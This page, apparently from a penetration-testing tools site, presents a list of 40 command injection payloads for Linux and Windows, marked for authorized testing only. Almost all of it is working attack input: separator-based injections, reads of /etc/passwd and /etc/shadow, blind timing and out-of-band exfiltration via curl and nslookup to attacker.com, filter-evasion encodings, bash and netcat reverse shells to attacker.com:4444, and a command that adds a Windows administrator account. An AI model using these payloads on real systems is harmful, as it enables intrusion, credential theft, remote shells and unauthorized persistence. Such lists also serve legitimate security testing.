Help Ukraine, click for information
cmd-injection

root@sovietghost:~/tools/cmd-injection#

40 command injection payloads — Linux, Windows, blind, WAF bypass. Authorized testing only.

40 payloads

; idLinuxLinux
; id
| idLinuxLinux
| id
|| idLinuxLinux
|| id
& idLinuxLinux
& id
&& idLinuxLinux
&& id
backtick idLinuxLinux
`id`
$() subshellLinuxLinux
$(id)
; cat /etc/passwdLinuxLinux
; cat /etc/passwd
; whoamiLinuxLinux
; whoami
; uname -aLinuxLinux
; uname -a
& whoamiWindowsWindows
& whoami
| whoamiWindowsWindows
| whoami
|| whoamiWindowsWindows
|| whoami
&& whoamiWindowsWindows
&& whoami
& ipconfigWindowsWindows
& ipconfig
& type win.iniWindowsWindows
& type C:\Windows\win.ini
cmd /c whoamiWindowsWindows
; cmd /c whoami
PowerShell Get-ProcessWindowsWindows
& powershell -command Get-Process
sleep 5BlindLinux
; sleep 5
ping -c 5 127.0.0.1BlindLinux
; ping -c 5 127.0.0.1
curl out-of-bandBlindLinux
; curl http://attacker.com/$(whoami)
DNS exfilBlindLinux
; nslookup $(whoami).attacker.com
ping -n 5BlindWindows
& ping -n 5 127.0.0.1
WAITFORBlindWindows
& WAITFOR /T 5 foo 2>nul
IFS bypassWAF BypassLinux
${IFS}id

uses $IFS instead of space

Brace expansionWAF BypassLinux
{id}

bash brace expansion

Newline separatorWAF BypassLinux
id

%0a in URL-encoded context

Tab separatorWAF BypassLinux
id
Variable in cmdWAF BypassLinux
i${z}d

$z is empty, eval to id

Base64 evalWAF BypassLinux
$(echo aWQ= | base64 -d)
Hex char evalWAF BypassLinux
$(printf '\x69\x64')

hex-encoded 'id'

Wildcard expandWAF BypassLinux
/???/i?

/bin/id via glob

URL encoded ;WAF BypassBoth
%3Bid

URL-encoded semicolon

Double URL ;WAF BypassBoth
%253Bid

double-encoded

id;ls /ChainedLinux
; id; ls /
env dumpChainedLinux
; env
Read shadowChainedLinux
; cat /etc/shadow
Reverse shell bashChainedLinux
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
Reverse shell mkfifoChainedLinux
; mkfifo /tmp/f; nc attacker.com 4444 </tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Net user addChainedWindows
& net user hacked P@ssw0rd /add & net localgroup Administrators hacked /add

> Thanks for visiting. Stay curious and stay secure. _